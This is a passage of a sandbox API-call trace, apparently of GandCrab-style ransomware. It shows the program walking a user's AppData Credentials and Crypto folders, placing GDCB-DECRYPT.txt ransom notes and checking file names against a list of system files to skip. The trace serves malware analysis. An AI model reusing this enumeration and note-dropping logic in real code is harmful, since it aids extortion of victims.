(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0135.514] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.514] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.514] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.514] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.514] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.514] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.514] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0135.514] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0135.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0135.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\" [0135.514] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.515] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned 60 [0135.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0135.515] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7ac0 [0135.515] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.515] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.515] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.515] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.515] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.515] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt" [0135.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0135.515] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.515] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.515] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.515] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.515] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt") returned 77 [0135.515] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\credentials\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.516] GetLastError () returned 0x50 [0135.516] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.516] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned 60 [0135.516] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0135.516] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7700 [0135.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.516] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.516] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.516] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.516] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.516] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt" [0135.516] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.516] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0135.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0135.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0135.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.517] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.517] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.517] FindClose (in: hFindFile=0x2c7700 | out: hFindFile=0x2c7700) returned 1 [0135.517] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.517] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0135.517] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0135.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0135.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\" [0135.517] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.517] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.517] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.517] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.517] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.517] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned 55 [0135.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0135.518] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.518] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.518] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.518] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.518] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt" [0135.518] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0135.518] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.518] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.518] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0135.518] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0135.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0135.518] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 58 [0135.518] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.518] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.518] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.518] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\GDCB-DECRYPT.txt") returned 72 [0135.519] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.519] GetLastError () returned 0x50 [0135.519] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned 55 [0135.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0135.519] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.519] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.519] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt" [0135.519] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.519] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0135.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0135.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0135.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.519] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.520] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.520] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0135.520] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0135.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0135.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\" [0135.520] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.520] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.520] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned 59 [0135.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0135.520] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.520] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.521] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.521] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.521] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt" [0135.521] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0135.521] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.521] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.521] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.521] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.521] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 104 [0135.521] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.521] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.521] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.521] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\GDCB-DECRYPT.txt") returned 76 [0135.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.521] GetLastError () returned 0x50 [0135.522] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned 59 [0135.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0135.522] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c76c0 [0135.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.522] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.522] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.522] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.522] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt" [0135.522] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.522] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0135.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0135.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0135.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\GDCB-DECRYPT.txt") returned 75 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.522] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.522] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 